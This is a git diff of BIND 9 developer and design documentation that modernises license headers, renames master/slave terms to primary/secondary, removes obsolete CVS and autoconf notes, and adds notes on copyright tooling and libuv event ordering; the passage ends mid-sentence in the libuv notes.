diff --git a/doc/design/rdataset b/doc/design/rdataset
index 045bd3c3e5..9726030188 100644
--- a/doc/design/rdataset
+++ b/doc/design/rdataset
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 Need way to "dup" an rdataset (i.e. different rdataset handle, same underlying
 data).
diff --git a/doc/design/red-black b/doc/design/red-black
index 8e31260830..86e2973506 100644
--- a/doc/design/red-black
+++ b/doc/design/red-black
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
                  Red-Black Tree Implementation Notes
 
diff --git a/doc/design/resolver b/doc/design/resolver
index d1616c1e50..ed6423a64b 100644
--- a/doc/design/resolver
+++ b/doc/design/resolver
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 Multi-target Resolver
 =====================
diff --git a/doc/design/search b/doc/design/search
index 6d2d20a72f..5617ddcd4d 100644
--- a/doc/design/search
+++ b/doc/design/search
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 What follows is pseudocode for the zone and cache lookup algorithms, as they
 will work in the RBT DB.
diff --git a/doc/design/tasks b/doc/design/tasks
index 27df1a7c3e..d10787b2f1 100644
--- a/doc/design/tasks
+++ b/doc/design/tasks
@@ -1,33 +1,21 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
 
-Changes I made last week to the task code simplified the task shutdown
-and termination model.  Here's how things now work:
-
-When a task is shutdown:
-
-	Any "on shutdown" events for the task are posted
-
-	The "shutting down" attribute of the task is set
-
-	Any attempts to add shutdown events with isc_task_onshutdown()
-	will fail, since the task is already shutting down
-
-Task shutdown can be initiated explicitly, via a call to isc_task_shutdown(),
-or implicitly, when the following conditions occur:
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
 
-	The "shutting down" attribute of the task is not set
-
-	The task has no references
-
-	The task has an empty event queue
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
+Changes I made last week to the task code simplified the task shutdown
+and termination model.  Here's how things now work:
 
 Task termination occurs when:
 
-	The "shutting down" attribute of the task is set
-
 	The task has no references
 
 	The task has an empty event queue
diff --git a/doc/design/unsupported-algorithms-in-bind9 b/doc/design/unsupported-algorithms-in-bind9
index ffb258c2cd..35c107db52 100644
--- a/doc/design/unsupported-algorithms-in-bind9
+++ b/doc/design/unsupported-algorithms-in-bind9
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 # Unsupported algorithms in BIND 9
 
@@ -37,7 +46,7 @@ as it is not used for *signing* that zone.
 BIND 9 also does not allow unsupported algorithms to be used with `auto-dnssec`:
 
     zone "example" IN {
-        type master;
+        type primary;
         file "db/example.db";
         key-directory "keys/example";
         inline-signing yes;
diff --git a/doc/design/verify b/doc/design/verify
index ce637bf168..272d36c4e2 100644
--- a/doc/design/verify
+++ b/doc/design/verify
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 	dnssec-verify a tool to verify a zone is correctly signed.
 
diff --git a/doc/design/zone b/doc/design/zone
index 00ca8f58dc..86331ec656 100644
--- a/doc/design/zone
+++ b/doc/design/zone
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 			Zones
 
@@ -15,14 +24,14 @@ Overview
 
 	* name
 	* class
-	* master / slave / stub / hint / cache / forward
+	* primary / secondary / stub / hint / cache / forward
 	* serial number
 	* signed / unsigned
-	* update periods (refresh / retry) (slave / stub)
+	* update periods (refresh / retry) (secondary / stub)
 	* last update time (slave / stub)
 	* access restrictions
-	* transfer restrictions (master / slave)
-	* update restictions (master / slave)
+	* transfer restrictions (primary / slave)
+	* update restictions (primary / slave)
 	* expire period (slave / stub)
 	* children => bottom
 	* glue
@@ -30,8 +39,8 @@ Overview
 	* transfer "in" in progress
 	* transfers "out" in progress
 	* "current" check in progress
-	* our masters
-	* primary master name (required to auto generate our masters)
+	* our primaries
+	* primary server name (required to auto generate our primaries)
 	* master file name
 	* database name
 	* database type
@@ -96,7 +105,7 @@ Overview
 	slave setups are continual and ongoing sources of problems in the
 	DNS.  Periodic checks to ensure parent and child servers agree on
 	the list of nameservers and that slaves are tracking the changes
-	made in the master server's zone will allow problems in
+	made in the primary server's zone will allow problems in
 	configurations to be identified earlier providing for a more stable
 	DNS.
 
@@ -109,8 +118,8 @@ Types:
 
 	typedef enum {
 		dns_zone_none = 0,
-		dns_zone_master,
-		dns_zone_slave,
+		dns_zone_primary,
+		dns_zone_secondary,
 		dns_zone_mirror,
 		dns_zone_stub,
 		dns_zone_hint,
@@ -175,26 +184,19 @@ Functions:
     dns_zone_axfrin(dns_zone_t *zone, isc_sockaddr_t *addr);
 
 	Initiate transfer of the zone from the given server or the
-	masters masters listed in the zone structure.
-
-    dns_zone_maintenance(dns_zone_t *zone);
-
-	Perform any maintenance operations required on the zone
-	* initiate up to date checks
-	* expire zones
-	* initiate ixfr version expire consolidation
+	primary servers listed in the zone structure.
 
     dns_zone_locateprimary(dns_zone_t *zone);
 
-	Working from the root zone locate the primary master for the zone.
-	Used if masters are not given in named.conf.
+	Working from the root zone locate the primary server for the zone.
+	Used if primaries are not given in named.conf.
 
     dns_zone_locateservers(dns_zone_t *zone);
 
 	Working from the root zone locate the servers for the zone.
-	Primary master moved to first in list if in NS set.  Remove self
+	Primary server moved to first in list if in NS set.  Remove self
 	from list.
-	Used if masters are not given in named.conf.
+	Used if primaries are not given in named.conf.
 
     dns_zone_notify(dns_zone_t *);
 
@@ -204,7 +206,7 @@ Functions:
 
 	check that the parent nameservers NS lists for this zone agree with
 	the NS list this zone, check glue A records. Warn if not identical.
-	This operation is performed on master zones.
+	This operation is performed on primary zones.
 
     dns_zone_checkchildren(dns_zone_t *);
 
@@ -229,11 +231,11 @@ Functions:
 
     dns_zone_addmaster(dns_zone_t *zone, isc_sockaddr_t *addr);
 
-	Add addr to the set of masters for the zone.
+	Add addr to the set of primaries for the zone.
 
     dns_zone_clearmasters(dns_zone_t *zone);
 
-	Clear the master set.
+	Clear the primary set.
 
     dns_zone_setreadacl(dns_zone_t *, dns_acl_t *)
 
diff --git a/doc/dev/DBC b/doc/dev/DBC
deleted file mode 100644
index 9a26e9af9b..0000000000
--- a/doc/dev/DBC
+++ /dev/null
@@ -1,33 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-Design By Contract
-
-BIND 9 uses the "Design by Contract" idea for most function calls.
-
-A quick summary of the idea is that a function and its caller make a
-contract.  If the caller meets certain preconditions, then the
-function promises to either fulfill its contract (i.e. guarantee a set
-of postconditions), or to clearly fail.
-
-"Clearly fail" means that if the function cannot succeed, then it will
-not silently fail and return a value which the caller might interpret
-as success.
-
-If a caller doesn't meet the preconditions, then "further execution is
-undefined".  The function can crash, compute a garbage result, fail silently,
-etc.  Allowing the function to define preconditions greatly simplifies many
-APIs, because the API need not have a way of saying "hey caller, the values
-you passed in are garbage".
-
-Typically, preconditions are specified in the functions .h file, and encoded
-in its body with REQUIRE statements.  The REQUIRE statements cause the program
-to dump core if they are not true, and can be used to identify callers that
-are not meeting their preconditions.
-
-Postconditions can be encoded with ENSURE statements.  Within the body of
-a function, INSIST is used to assert that a particular expression must be
-true.  Assertions must not have side effects that the function relies upon,
-because assertion checking can be turned off.
-
diff --git a/doc/dev/HOW-ADB-WORKS.txt b/doc/dev/HOW-ADB-WORKS.txt
index 5f10ad79de..0fc470b8ac 100644
--- a/doc/dev/HOW-ADB-WORKS.txt
+++ b/doc/dev/HOW-ADB-WORKS.txt
@@ -1,3 +1,16 @@
+<!--
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
+
 Recently, several groups have expressed concern over potential
 denial of service attacks within BIND 9, specifically within the ADB
 (address database.)  This document hopes to provide a more clear
diff --git a/doc/dev/autoconf b/doc/dev/autoconf
deleted file mode 100644
index 08284cb36c..0000000000
--- a/doc/dev/autoconf
+++ /dev/null
@@ -1,16 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-Here are some hints on how to use autoconf correctly when doing
-BIND 9 development.
-
-Never edit the configure script directly.  Edit configure.in, commit
-the changes, run "autoconf", and commit the new configure.  Doing two
-separate commits ensures that the version numbers embedded in the
-configure script are correct.
-
-Don't edit config.h.in directly.  Instead, run "autoheader".  If it
-complains about missing definitions, add them to acconfig.h, rerun
-autoheader, commit acconfig.h if edited, and commit the generated
-config.h.in.
diff --git a/doc/dev/copyrights b/doc/dev/copyrights
new file mode 100644
index 0000000000..256327bc60
--- /dev/null
+++ b/doc/dev/copyrights
@@ -0,0 +1,18 @@
+<!--
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
+
+* C files: `reuse addheader --license MPL-2.0 --copyright 'Internet Systems Consortium, Inc. ("ISC")' --style c --copyright-style string-c --multi-line --exclude-year --template=isc <file>`
+* RST files: `reuse addheader --license MPL-2.0 --copyright 'Internet Systems Consortium, Inc. ("ISC")' --style rst --copyright-style string-c --exclude-year --template=isc <file>`
+* named.conf: same as C files
+* zone files are using lisp style: reuse addheader --license MPL-2.0 --copyright 'Internet Systems Consortium, Inc. ("ISC")' --style lisp --copyright-style string-c --exclude-year --template=isc <file>
+* shell uses python style: reuse addheader --license MPL-2.0 --copyright 'Internet Systems Consortium, Inc. ("ISC")' --style python --copyright-style string-c --exclude-year --template=isc <file>
diff --git a/doc/dev/cvs-usage b/doc/dev/cvs-usage
deleted file mode 100644
index 974d8fc562..0000000000
--- a/doc/dev/cvs-usage
+++ /dev/null
@@ -1,97 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-Notes on CVS Usage
-
-Accessing the repository
-
-
-The recommended way of accessing the BIND 9 CVS repository is by ssh
-to rc.isc.org, using the following environment settings:
-
-   CVSROOT=:ext:rc.isc.org:/proj/cvs/isc
-   CVS_RSH=ssh
-
-
-Creating a release branch
-
-
-Here's how the 9.0 release branch was created:
-
-  cvs rtag v9_0_base bind9
-  cvs rtag -b -r v9_0_base v9_0 bind9
-
-
-
-Renaming files by repository copy
-
-
-When you need to rename or move a file that is under CVS control, use
-the "repository copy" method as described in the following text
-borrowed from an ancient CVS FAQ:
-
-        2C.4   How do I rename a file?
-
-        CVS does not offer a way to rename a file in a way that CVS can
-        track later.  See Section 4B for more information.
-
-        Here is the best way to get the effect of renaming, while
-        preserving the change log:
-
-           1. Copy the RCS (",v") file directly in the Repository.
-
-                cp $CVSROOT/<odir>/<ofile>,v $CVSROOT/<ndir>/<nfile>,v
-
-           2. Remove the old file using CVS.
-
-              By duplicating the file, you will preserve the change
-              history and the ability to retrieve earlier revisions of the
-              old file via the "-r <tag/rev>" or "-D <date>" options to
-              "checkout" and "update".
-
-                cd <working-dir>/<odir>
-                rm <ofile>
-                cvs remove <ofile>
-                cvs commit <ofile>
-
-           3. Retrieve <newfile> and remove all the Tags from it.
-
-              By stripping off all the old Tags, the "checkout -r" and
-              "update -r" commands won't retrieve revisions Tagged before
-              the renaming.
-
-                cd <working-dir>/<ndir>
-                cvs update <nfile>
-                cvs log <nfile>                 # Save the list of Tags
-                cvs tag -d <tag1> <nfile>
-                cvs tag -d <tag2> <nfile>
-                . . .
-
-
-        This technique can be used to rename files within one directory or
-        across different directories.  You can apply this idea to
-        directories too, as long as you apply the above to each file and
-        don't delete the old directory.
-
-        Of course, you have to change the build system (e.g. Makefile) in
-        your <working-dir> to know about the name change.
-
-
-Pulling up a newly added file to a release branch:
-
-In a mainline working tree, do something like this:
-
-  cvs tag v9_0_base file
-  cvs tag -b -r v9_0_base v9_0 file
-
-
-Importing contrib source from vendor release
-
-As an example, here's how queryperf was imported:
-
-  cd /tmp
-  cvs -d shell.nominum.com:/proj/cvs/nominum export -rHEAD queryperf
-  cd queryperf
-  cvs -d rc.isc.org:/proj/cvs/isc import bind9/contrib/queryperf \
-	NOMINUM NOMINUM_20010710
diff --git a/doc/dev/dev.md b/doc/dev/dev.md
index 6afc0d1ebf..7c3d71c91a 100644
--- a/doc/dev/dev.md
+++ b/doc/dev/dev.md
@@ -1,13 +1,16 @@
 <!--
- - Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- -
- - This Source Code Form is subject to the terms of the Mozilla Public
- - License, v. 2.0. If a copy of the MPL was not distributed with this
- - file, You can obtain one at http://mozilla.org/MPL/2.0/.
- -
- - See the COPYRIGHT file distributed with this work for additional
- - information regarding copyright ownership.
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 -->
+
 ## BIND Developer Information
 
 ### Contents
@@ -29,7 +32,7 @@
     * [Iterators](#iterators)
     * [Logging](#logging)
     * [Adding a new RR type](#rrtype)
-    * [Task and timer model](#tasks)
+    * [Asynchronous operations](#async)
 
 ### <a name="reviews"></a>The code review process
 
@@ -44,7 +47,7 @@ particular, a full regression test (`make` `check`) must be run for every
 modification so that unexpected side-effects are identified.
 
 When a problem or concern is found by the reviewer, these comments are
-placed on the RT ticket so the author can respond.
+placed on the merge request in GitLab so the author can respond.
 
 #### What is reviewed:
 
@@ -80,7 +83,7 @@ comments; they must be clearly written and consistent with existing style.
 * Read the diff
 * Read accompanying notes in the ticket
 * Apply the diff to the appropriate branch
-* Run `configure` (using at least `--enable-developer --with-atf`)
+* Run `configure` (using at least `--enable-developer`)
 * Build
 * Read the documentation, if any
 * Read the tests
@@ -105,9 +108,7 @@ comments; they must be clearly written and consistent with existing style.
 * Copies of code that could be unified in a helper function
 * Premature optimizations
 * Compiler warnings introduced
-* Portability issues:
- * Use of non-POSIX library calls or options
- * API changes correctly reflected in Windows `*.def` files
+* Portability issues, such as the use of non-POSIX library calls or options
 * DNS/protocol problems
 * Cut/pasted code that may have been modified in one place but needs to be modified in other places as well
 * No tests or inadequate tests
@@ -136,11 +137,11 @@ interfaces (as root):
         $ sudo sh ifconfig.sh up
         $ cd ../../..
 
-To run the tests, build BIND (be sure to use --with-atf to run unit
+To run the tests, build BIND (be sure to use --with-cmocka to run unit
 tests), then run `make` `check`.  An easy way to check the results:
 
         $ make check 2>&1 | tee /tmp/check.out
-        $ grep '^R:' /tmp/check.out | sort | uniq -c
+        $ grep -A 10 'Testsuite summary' /tmp/check.out
 
 This will show all of the test results. One or two "R:SKIPPED" is okay; if
 there are a lot of them, then you probably forgot to create the loopback
@@ -150,8 +151,7 @@ unit tests, so you can't rely on it to catch everything.)
 
 To run only the system tests, omitting unit tests:
 
-        $ cd bin/tests/system
-        $ sh runall.sh
+	$ make test
 
 To run an individual system test:
 
@@ -202,7 +202,7 @@ points to `rndc`, `SIGNZONE` to `dnssec-signzone`, etc.
 
 #### <a name="unittest"></a> Building unit tests
 
-BIND uses the cmocka, unit testing framework.
+BIND uses the cmocka unit testing framework.
 
 To build BIND with unit tests, run `configure` with the `--with-cmocka`
 option.  This requires cmocka >= 1.0.0 to be installed in the system.
@@ -218,9 +218,9 @@ in `rbt.c`.  (There are exceptions to this rule, though; for instance,
 different files in `lib/isc`.)
 
 When BIND is built with unit tests, they will be run as part of
-`make` `check`.  But if you want to run *only* the ATF unit tests:
+`make` `check`.  But if you want to run *only* the unit tests:
 
-        $ sh unit/unittest.sh
+        $ make unit
 
 You can also run the unit tests for only one library:
 
@@ -268,15 +268,10 @@ libraries.
     * `bind9/lib/dns`: implements higher-level DNS functionality:
       red-black trees, rdatasets, views, zones, ACLs, resolver, validator, etc
         * `bind9/lib/dns/tests`: unit tests for libdns
-    * `bind9/lib/bind9`: library implementing bind9-specific functionality,
-      principally configuration validity checking (used in `named` and
-      `named-checkconf` when reading `named.conf`).
     * `bind9/lib/isccfg`: library implementing the `named.conf`
-      configuration parser.
+      configuration parser and checker.
     * `bind9/lib/isccc`: library implementing the control channel used
       by `rndc`
-    * `bind9/lib/irs`: provides mechanisms for reading `/etc/resolv.conf`
-      and other configuration files.
 
 #### Namespace
 
@@ -402,12 +397,11 @@ A result code can be converted to a human-readable error message by
 calling `isc_result_totext(result)`.
 
 Many result codes have been defined and can be found in the source tree
-in header files called `result.h` (for example, the result codes defined
-for the ISC library are in `lib/isc/include/isc/result.h`.
+in `lib/isc/include/isc/result.h`.
 
 ISC library result codes (many of which are generically useful elsewhere)
 begin with `ISC_R`: examples include `ISC_R_SUCCESS`, `ISC_R_FAILURE`,
-`ISC_R_NOMEMORY`, etc. 
+`ISC_R_NOMEMORY`, etc.
 
 DNS library result codes begin with `DNS_R`: `DNS_R_SERVFAIL`, `DNS_R_NXRRSET`,
 etc).  Other sets of result codes are defined for crypto functions (`DST_R`
@@ -433,7 +427,7 @@ into 'consumed' and 'remaining'.
 
 When parsing a message, the message to be parsed in in the 'used'
 part of the buffer.  As the message is parsed, the 'consumed'
-subregion grows and the 'remaining' subregion shrinks. 
+subregion grows and the 'remaining' subregion shrinks.
 
 When creating a message, data is written into the 'available'
 subregion, which then becomes part of 'used'.
@@ -493,10 +487,12 @@ or simply by running `isc_buffer_init()` on the region's base pointer.
 
 #### <a name="mem"></a>Memory management
 
-BIND manages its own memory internally via "memory contexts".  Multiple
+BIND tracks its memory usage internally via "memory contexts".  Multiple
 separate memory contexts can be created for the use of different modules or
 subcomponents, and each can have its own size limits and tuning parameters
-and maintain its own statistics, allocations and free lists.
+and maintain its own statistics, allocations and free lists.  Memory
+allocation is based on the `jemalloc` library on platforms where the library
+is available.
 
 The memory system helps with diagnosis of common coding errors such as
 memory leaks and use after free. Newly allocated memory is populated with
@@ -509,13 +505,6 @@ To create a basic memory context, use:
         isc_mem_t *mctx = NULL;
         isc_mem_create(&mctx);
 
-(The zeroes are tuning parameters, `max_size` and `target_size`: Any
-allocations smaller than `max_size` will be satisfied by getting
-blocks of size `target_size` from the operating system's memory
-allocator and breaking them up into pieces, while larger allocations
-will call the system allocator directly. These parameters are rarely
-used.)
-
 When holding a persistent reference to a memory context it is advisable to
 increment its reference counter using `isc_mem_attach()`.  Do not just
 copy an `mctx` pointer; this may lead to a shutdown race in which the
@@ -539,7 +528,7 @@ memory context is freed before all references have been cleaned up.
                 /* Populate other isc_foo members here */
 
                 foo->magic = ISC_FOO_MAGIC;
-                
+
                 *foop = foo;
                 return (ISC_R_SUCCESS);
         }
@@ -577,16 +566,27 @@ The function `isc_mem_strdup()` -- a version of `strdup()` that uses memory
 contexts -- will also return memory that can be freed with
 `isc_mem_free()`.
 
-Every allocation and deallocation requires a memory context lock to be
-acquired.  This will cause performance problems if you write code that
-allocates and deallocates memory frequently.  Whenever possible,
-inner loop functions should be passed static buffers rather than allocating
-memory.
-
 In cases where small fixed-size blocks of memory may be needed frequently,
 the `isc_mempool` API can be used.  This creates a standing pool of blocks
 of a specified size which can be passed out and returned without the need
-for locking the entire memory context.
+for a new memory allocation; this can improve performance in tight inner
+loops.
+
+None of these allocation functions, including `isc_mempool_get()`, can
+fail.  If no memory is available for allocation, the program will abort.
+
+The memory context can be set to check if all memory allocated via the said
+memory context was freed before the memory context was destroyed by calling
+`isc_mem_checkdestroyed()`.  This could lead to false positives on abnormal
+shutdowns, so the checking is only enabled in `dig` and `named` applications on
+normal shutdown.
+
+The memory context are normally used only for internal allocations, but several
+external libraries allow replacing their allocators (namely libxml2, libuv and
+OpenSSL).  As there has been known memory leak in the OpenSSL when
+`engine_pkcs11` is loaded, memory checking at destroy is disabled by default in
+the memory contexts used for external libraries and it needs to be enabled with
+a `--enable-leak-detection` autoconf option.
 
 #### <a name="lists"></a>Lists
 
@@ -644,7 +644,7 @@ More macros are provided for iterating the list:
 
         isc_foo_t *foo;
         for (foo = ISC_LIST_HEAD(foolist);
-             foo != NULL; 
+             foo != NULL;
              foo = ISC_LIST_NEXT(foo, link))
         {
                 /* do things */
@@ -813,7 +813,7 @@ The return value may be:
 * `dns_name_commonancestor`: name1 and name2 share some labels
 * `dns_name_equal`: name1 and name2 are the same
 
-Some simpler comparison functions are provided for convenience when 
+Some simpler comparison functions are provided for convenience when
 not all of this information is required:
 
 * `dns_name_compare()`: returns the sort order of two names but
@@ -884,7 +884,7 @@ sets have been defined:
 
 Each of these has a `first()`, `next()` and `current()` function; for
 example, `dns_rdataset_first()`, `dns_rdataset_next()`, and
-`dns_rdataset_current()`. 
+`dns_rdataset_current()`.
 
 The `first()` and `next()` functions move the iterator's cursor and so that
 the data at a new location can be retrieved.  (Most of these can only step
@@ -1005,9 +1005,9 @@ the program.  File descriptor destinations are never closed, have no
 maximum size limit, and do not do version control.
 
 Syslog destinations are associated with the standard syslog facilities
-available on your system: generally `syslogd` on UNIX and Linux systems
-and the Application log in the Event Viewer on Windows systems.  They too
-have no maximum size limit and do no version control.
+available on your system: generally `syslogd` on UNIX and Linux
+systems. They too have no maximum size limit and do no version
+control.
 
 Since null channels go nowhere, no additional destination
 specification is necessary.
@@ -1033,7 +1033,7 @@ messages up to the current debugging level are written to the channel.
 
 These objects -- the category, module, and channel -- direct hessages
 to desired destinations.  Each category/module pair can be associated
-with a specific channel, and the correct destination will be used 
+with a specific channel, and the correct destination will be used
 when a message is logged by `isc_log_write()`.
 
 In `isc_log_write()`, the logging system first looks up a list that
@@ -1166,7 +1166,7 @@ to control the closing of log files.
 
         void isc_log_setdebuglevel(isc_log_t *lctx, unsigned int level);
         unsigned int isc_log_getdebuglevel(isc_log_t *lctx);
-        
+
 These set and retrieve the current debugging level of the program.
 `isc_log_getdebuglevel()` can be used so that you need not keep track of
 the level yourself in another variable.
@@ -1364,111 +1364,10 @@ In nearly all cases, this is simply a wrapper around the `compare()`
 function, except where DNSSEC comparisons are specified as
 case-sensitive. Unknown RR types are always compared case-sensitively.
 
-#### <a name="tasks"></a>Task and timer model
-
-The BIND task/timer management system can be thought of as comparable to a
-simple non-preemptive multitasking operating system.
-
-In this model, what BIND calls a "task" (or an `isc_task_t` object) is the
-equivalent of what is usually called a "process" in an operating system:
-a persistent execution context in which functions run when action is
-required.  When the action is complete, the task goes to sleep, and
-wakes up again when more work arrives.  A "worker thread" is comparable
-to an operating system's CPU; when a task is ready to run, a worker
-thread will run it.  By default, BIND creates one worker thread for each
-system CPU.
-
-An "event" object can be associated with a task, and triggered when a a
-specific condition occurs.  Each event object contains a pointer to a
-specific function and arguments to be passed to it.  When the event
-triggers, the task is placed onto a "ready queue" in the task manager.  As
-each running task finishes, the worker threads pull new tasks off the ready
-queue.  When the task associated with a given event reaches the head of the
-queue, the specified function will be called.
-
-Examples:
-
-`isc_socket_recv()` calls the `recv()` system call asynchronously: rather
-than waiting for data, it returns immediately, but it sets up an event to
-be triggered when the `recv()` call completes; BIND can now do other work
-instead of waiting for I/O.  Once the `recv()` is finished, the
-associated event is triggered.
-
-
-        /*
-         * Function to handle a completed recv()
-         */
-        static void
-        recvdone(isc_task_t *task, isc_event_t *event) {
-                /* Arguments are in event->ev_arg. */
-        }
-
-        ...
-
-        /*
-         * Call recv() on socket 'sock', put results into 'region',
-         * minimum read size 1, and call recvdone() with NULL as
-         * argument.  (Note: 'sock' is already associated with a
-         * particular task, so that doesn't need to be specified
-         * here.)
-         */
-        isc_socket_recv(sock, &region, 1, recvdone, NULL);
-
-A timer is set for a specified time in the future, and the event will
-be triggered at that time.
-
-        /*
-         * Function to handle a timeout
-         */
-        static void
-        timeout(isc_task_t *task, isc_event_t *event) {
-               /* do things */
-         }
-
-         ...
-
-         /*
-          * Set up a timer in timer manager 'timermgr', to run
-          * once, with a NULL expiration time, after 'interval'
-          * has passed; it will run the function 'timeout' with
-          * 'arg' as its argument in task 'task'.
-          */
-         isc_timer_t *timer = NULL;
-         result = isc_timer_create(timermgr, isc_timertype_once, NULL,
-                                   interval, task, timeout, arg, &timer);
+#### <a name="async"></a>Asynchronous operations
 
-An event can also be explicitly triggered via `isc_task_send()`.  
-
-        static void
-        do_things(isc_task_t *task, isc_event_t *event) {
-                /* this function does things */
-        }
-
-        ...
-
-        /*
-         * Allocate an event that calls 'do_things' with a 
-         * NULL argument, using 'myself' as ev_sender.
-         *
-         * DNS_EVENT_DOTHINGS must be defined in <dns/events.h>.
-         *
-         * (Note that 'size' must be specified because there are
-         * event objects that inherit from isc_event_t, incorporating
-         * common members via the ISC_EVENT_COMMON member and then
-         * following them with other members.)
-         */
-        isc_event_t *event;
-        event = isc_event_allocate(mctx, myself, DNS_EVENT_DOTHINGS,
-                                   do_things, NULL, sizeof(isc_event_t));
-        if (event == NULL)
-                return (ISC_R_NOMEMORY);
-
-        ...
-
-        /*
-         * Send the allocated event to task 'task'
-         */
-        isc_task_send(task, event);
+Asynchronous operations are processed using the event loop manager;
+see the [Loop Manager](loopmgr.md) document for details.
 
 #### More...
 
diff --git a/doc/dev/libuv.md b/doc/dev/libuv.md
new file mode 100644
index 0000000000..0650889322
--- /dev/null
+++ b/doc/dev/libuv.md
@@ -0,0 +1,46 @@
+<!--
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
+
+## Libuv Notes
+
+This document describes various notes related to the using of the libuv library.
+
+### Queueing Events onto the ``uv_loop_t``
+
+The upstream documentation on [the I/O
+loop](http://docs.libuv.org/en/v1.x/design.html#the-i-o-loop) describes the
+order in which are the various handles processed.  However, it does not describe
+the order in which the loop processes the events in the same buckets, and
+because it is counterintuitive, it is described here.
+
+When scheduling the events of the same class (f.e. ``uv_*_start()`` or
+``uv_close()``), the events are executed in the LIFO order (e.g. it's a stack,
+not a queue).  The reasoning for the upstream design choice is described in [the
+upstream issue](https://github.com/libuv/libuv/issues/3582).
+
+What does this means in practice?  F.e. when closing the handles:
+
+    uv_close(&handle1, callback1);
+	uv_close(&handle2, callback2);
+
+The ``callback2()`` will be called before the ``callback1()``, so if they are
